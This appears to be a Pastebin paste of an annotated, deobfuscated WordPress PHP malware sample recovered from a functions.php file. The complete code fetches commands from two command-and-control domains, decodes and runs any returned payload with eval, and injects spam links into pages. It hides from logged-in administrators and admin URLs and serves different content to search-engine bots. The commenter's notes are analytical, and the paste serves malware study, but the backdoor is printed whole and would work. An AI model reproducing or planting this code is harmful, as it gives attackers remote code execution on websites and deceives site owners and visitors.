Yehonatan

HTTP_SDCHIMBR virus functions.php base64 decoding

Dec 31st, 2014
256
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 10.70 KB | None | 0 0
  1. <?php
  2.  
  3. //This piece of a shit basically runs from the bottom to the top
  4.  
  5. if (function_exists('get_url_999') === false) {
  6.     function get_url_999($url)
  7.     {
  8.         $content = "";
  9.         $content = @trycurl_999($url);
  10.         if ($content !== false) return $content;
  11.         $content = @tryfile_999($url);
  12.         if ($content !== false) return $content;
  13.         $content = @tryfopen_999($url);
  14.         if ($content !== false) return $content;
  15.         $content = @tryfsockopen_999($url);
  16.         if ($content !== false) return $content;
  17.         $content = @trysocket_999($url);
  18.         if ($content !== false) return $content;
  19.         return '';
  20.     }
  21. }
  22.  
  23. if (function_exists('trycurl_999') === false) {
  24.     function trycurl_999($url)
  25.     {
  26.         if (function_exists('curl_init') === false) return false;
  27.         $ch = curl_init();
  28.         curl_setopt($ch, CURLOPT_URL, $url);
  29.         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  30.         curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  31.         curl_setopt($ch, CURLOPT_HEADER, 0);
  32.         $result = curl_exec($ch);
  33.         curl_close($ch);
  34.         if ($result == "") return false;
  35.         return $result;
  36.     }
  37. }
  38.  
  39. if (function_exists('tryfile_999') === false) {
  40.     function tryfile_999($url)
  41.     {
  42.         if (function_exists('file') === false) return false;
  43.         $inc = @file($url);
  44.         $buf = @implode('', $inc);
  45.         if ($buf == "") return false;
  46.         return $buf;
  47.     }
  48. }
  49.  
  50. if (function_exists('tryfopen_999') === false) {
  51.     function tryfopen_999($url)
  52.     {
  53.         if (function_exists('fopen') === false) return false;
  54.         $buf = '';
  55.         $f = @fopen($url, 'r');
  56.         if ($f) {
  57.             while (!feof($f)) {
  58.                 $buf.= fread($f, 10000);
  59.             }
  60.  
  61.             fclose($f);
  62.         }
  63.         else return false;
  64.         if ($buf == "") return false;
  65.         return $buf;
  66.     }
  67. }
  68.  
  69. if (function_exists('tryfsockopen_999') === false) {
  70.     function tryfsockopen_999($url)
  71.     {
  72.         if (function_exists('fsockopen') === false) return false;
  73.         $p = @parse_url($url);
  74.         $host = $p['host'];
  75.         $uri = $p['path'] . '?' . $p['query'];
  76.         $f = @fsockopen($host, 80, $errno, $errstr, 30);
  77.         if (!$f) return false;
  78.         $request = "GET $uri HTTP/1.0\n";
  79.         $request.= "Host: $host\n\n";
  80.         fwrite($f, $request);
  81.         $buf = '';
  82.         while (!feof($f)) {
  83.             $buf.= fread($f, 10000);
  84.         }
  85.  
  86.         fclose($f);
  87.         if ($buf == "") return false;
  88.         list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10) , $buf);
  89.         return $buf;
  90.     }
  91. }
  92.  
  93. if (function_exists('trysocket_999') === false) {
  94.     function trysocket_999($url)
  95.     {
  96.         if (function_exists('socket_create') === false) return false;
  97.         $p = @parse_url($url);
  98.         $host = $p['host'];
  99.         $uri = $p['path'] . '?' . $p['query'];
  100.         $ip1 = @gethostbyname($host);
  101.         $ip2 = @long2ip(@ip2long($ip1));
  102.         if ($ip1 != $ip2) return false;
  103.         $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  104.         if (!@socket_connect($sock, $ip1, 80)) {
  105.             @socket_close($sock);
  106.             return false;
  107.         }
  108.  
  109.         $request = "GET $uri HTTP/1.0\n";
  110.         $request.= "Host: $host\n\n";
  111.         socket_write($sock, $request);
  112.         $buf = '';
  113.         while ($t = socket_read($sock, 10000)) {
  114.             $buf.= $t;
  115.         }
  116.  
  117.         @socket_close($sock);
  118.         if ($buf == "") return false;
  119.         list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10) , $buf);
  120.         return $buf;
  121.     }
  122. }
  123. //Replace first occourence...
  124. if (function_exists('str_replace_first') === false) {
  125.     function str_replace_first($search, $replace, $subject)
  126.     {
  127.         $pos = stripos($subject, $search);
  128.         if ($pos !== false) {
  129.             $subject = substr_replace($subject, $replace, $pos, strlen($search));
  130.         }
  131.  
  132.         return $subject;
  133.     }
  134. }
  135. //Is one of the listed bots
  136. if (function_exists('is_bot_ua') === false) {
  137.     function is_bot_ua()
  138.     {
  139.         $bot = 0;
  140.         $ua = @$_SERVER['HTTP_USER_AGENT'];
  141.         if (stristr($ua, "msnbot") || stristr($ua, "Yahoo")) $bot = 1;
  142.         if (stristr($ua, "bingbot") || stristr($ua, "googlebot")) $bot = 1;
  143.         return $bot;
  144.     }
  145. }
  146. //Is google bot
  147. if (function_exists('is_googlebot_ip') === false) {
  148.     function is_googlebot_ip()
  149.     {
  150.         $k = 0;
  151.         $ip = sprintf("%u", @ip2long(@$_SERVER["REMOTE_ADDR"]));
  152.         if (($ip >= 1123631104) && ($ip <= 1123639295)) $k = 1;
  153.         return $k;
  154.     }
  155. }
  156.  
  157. if (function_exists('update_file_999') === false) {
  158.     function update_file_999()
  159.     {
  160.         $uri = "g.php?t=m&i=30a4d81929e5efc43458e7d1e14d650e";
  161.         $actual1 = "http://pupkonexs.com/" . $uri;
  162.         $actual2 = "http://cooperjsutf8.ru/" . $uri;
  163.         /*
  164.          *  I've went to these servers and they returned me the following -  
  165.          *  pupk - 0|||PC9kaXY+fHx8fHx8PC9kaXY+fHx8PGEgaHJlZj0iaHR0cDovL3NhbmRib3gubWF0aGFuLmNhL2dlbmVyaWMtbGV2aXRyYS1uby1wcmVzY3JpcHRpb24tZnJlZS8iPmdlbmVyaWMgbGV2aXRyYSBubyBwcmVzY3JpcHRpb24gZnJlZTwvYT4gCg==
  166.          *  cooper - 0|||PC9kaXY+fHx8fHx8PC9kaXY+fHx8PGEgaHJlZj0iaHR0cDovL3NhbmRib3gubWF0aGFuLmNhL2dlbmVyaWMtbGV2aXRyYS1uby1wcmVzY3JpcHRpb24tZnJlZS8iPmdlbmVyaWMgbGV2aXRyYSBubyBwcmVzY3JpcHRpb24gZnJlZTwvYT4gCg==
  167.          *  Both are the same, but where's the |||CODE|||
  168.          *  Probably outdates/invalid or not ready to execute it by the C&C
  169.          *
  170.          *  The decoded crap from above is an html code
  171.          *  </div>||||||</div>|||<a href="http://sandbox.mathan.ca/generic-levitra-no-prescription-free/">generic levitra no prescription free</a>
  172.          *
  173.          * */
  174.         $val = get_url_999($actual1);  // get data from $actual1
  175.         if ($val == "") $val = get_url_999($actual2); //if can't, try getting from $actual2
  176.         if (strstr($val, "|||CODE|||")) { //If code found after |||CODE|||
  177.             list($val, $code) = explode("|||CODE|||", $val); //if $val is X|||CODE|||Y then $val is X and $code is Y
  178.             eval(base64_decode($code)); //Decode the base64 and run the code
  179.         }
  180.  
  181.         return $val; //Return val, in this case, 0
  182.     }
  183. }
  184.  
  185. if (function_exists('callback_function_php') === false) {
  186.     function callback_function_php($p)
  187.     {
  188.         ///If admin/user, don't do a thing
  189.         if (isset($_COOKIE['wordpress_test_cookie']) || isset($_COOKIE['wp-settings-1']) || isset($_COOKIE['wp-settings-time-1']) || (function_exists('is_user_logged_in') && is_user_logged_in())) {
  190.             return $p;
  191.         }
  192.         //If file requested is xmlrpc.php, don't do a thing
  193.         if (stristr($_SERVER['REQUEST_URI'], "xmlrpc.php")) {
  194.             return $p;
  195.         }
  196.         //If file requested is wp-login, don't do a thing
  197.         if (stristr($_SERVER['REQUEST_URI'], "wp-login")) {
  198.             return $p;
  199.         }
  200.         //If file requested is wp-admin, don't do a thing
  201.         if (stristr($_SERVER['REQUEST_URI'], "wp-admin")) {
  202.             return $p;
  203.         }
  204.         //else...
  205.         $x = '{options_names}';
  206.         $buf = "";
  207.         $update = 0;
  208.         $k = get_option($x); //$k = get_option('{options_names'}), probably gets the list of WP options from the DB
  209.         if ($k === FALSE) { //If no options
  210.             $emp = array();
  211.             if (!add_option($x, $emp, '', 'no')) { //If failed to add option named $x with value $emp and not deprecated and not autoload
  212.                 return $p; //Return the buffer and don't do a thing
  213.             }
  214.  
  215.             $update = 1; //Otherwise - update is 1
  216.         }
  217.         else {
  218.             $ctime = time() - @$k[1]; //now - char[1] at $k
  219.             if ($ctime > 3600 * 12) { //if time past between now and $k is greater than 12 hours
  220.                 $update = 1; // update
  221.             }
  222.         }
  223.  
  224.         if ($update) { //if $update is 1
  225.             $val = update_file_999(); //Get $val
  226.             $k = array();
  227.             $k[0] = $val; //Val
  228.             $k[1] = time(); //Current time
  229.             if (!update_option($x, $k)) { //Set the WP option in the DB, Probably when to change the ad(?)
  230.                 return $p; //If didn't succeed then again, return the buffer
  231.             }
  232.         }
  233.  
  234.         if (!$k = get_option($x)) { //If can't get the option, return the buffer
  235.             return $p;
  236.         }
  237.  
  238.         $buf = @$k[0]; //Could be the code
  239.         if ($buf == "") {
  240.             return $p;
  241.         }
  242.  
  243.         list($type, $text) = @explode("|||", $buf); //This case, $type is 0 and $text is the html above
  244.         if ($text == "") return $p; //If no text, return the buffer
  245.         $type+= 0;
  246.         $bot = 0;
  247.         if ($type == 0) { //Our case...
  248.             $buf1 = @base64_decode($text); //Decode the encoded ad
  249.             list($tagjs, $js, $tagtext1, $text1) = @explode("|||", $buf1);//No JS this time ,noly html
  250.             if (stristr($p, $text1)) return $p; //If found $text1 in the buffer then return it
  251.             if (($tagjs != "") && (stristr($p, $tagjs))) { //If JS is found
  252.                 $p = str_replace_first($tagjs, $js . " " . $tagjs, $p);
  253.             }
  254.             else {
  255.                 $p = $p . $js;
  256.             }
  257.  
  258.             if (($tagtext1 != "") && (stristr($p, $tagtext1))) {//No idea yet
  259.                 $p = str_replace_first($tagtext1, $text1 . " " . $tagtext1, $p); //No idea yet
  260.             }
  261.             else {
  262.                 $p = $p . $text1; //Add the html to the buffer
  263.             }
  264.         }
  265.         else
  266.         if (($type == 1) || ($type == 2) || ($type == 3) || ($type == 4)) {
  267.             if (($type == 1) || ($type == 4)) {
  268.                 $bot = is_bot_ua();
  269.             }
  270.  
  271.             if (($type == 2) || ($type == 3)) {
  272.                 $bot = is_googlebot_ip();
  273.             }
  274.  
  275.             if ($bot) { //If it's a bot
  276.                 $buf1 = @base64_decode($text);
  277.                 list($tag, $text1) = @explode("|||", $buf1); //In our case $tag is ""
  278.                 if (($tag != "") && ($text1 != "")) {
  279.                     if (stristr($p, $tag)) {
  280.                         if (($type == 3) || ($type == 4)) {
  281.                             $p = @str_ireplace($tag, $tag . " " . $text1, $p);
  282.                         }
  283.                         else {
  284.                             $p = str_replace_first($tag, $tag . " " . $text1, $p);
  285.                         }
  286.                     }
  287.                     else {
  288.                         $p = $p . $text1;
  289.                     }
  290.                 }
  291.             }
  292.         }
  293.  
  294.         return $p;
  295.     }
  296. }
  297.  
  298. ///Wait till wordpress ends executing its code and then execute callback_function_php
  299. if (function_exists('ob_start')) {
  300.     ob_start("callback_function_php");
  301. }
Advertisement
Add Comment
Please, Sign In to add comment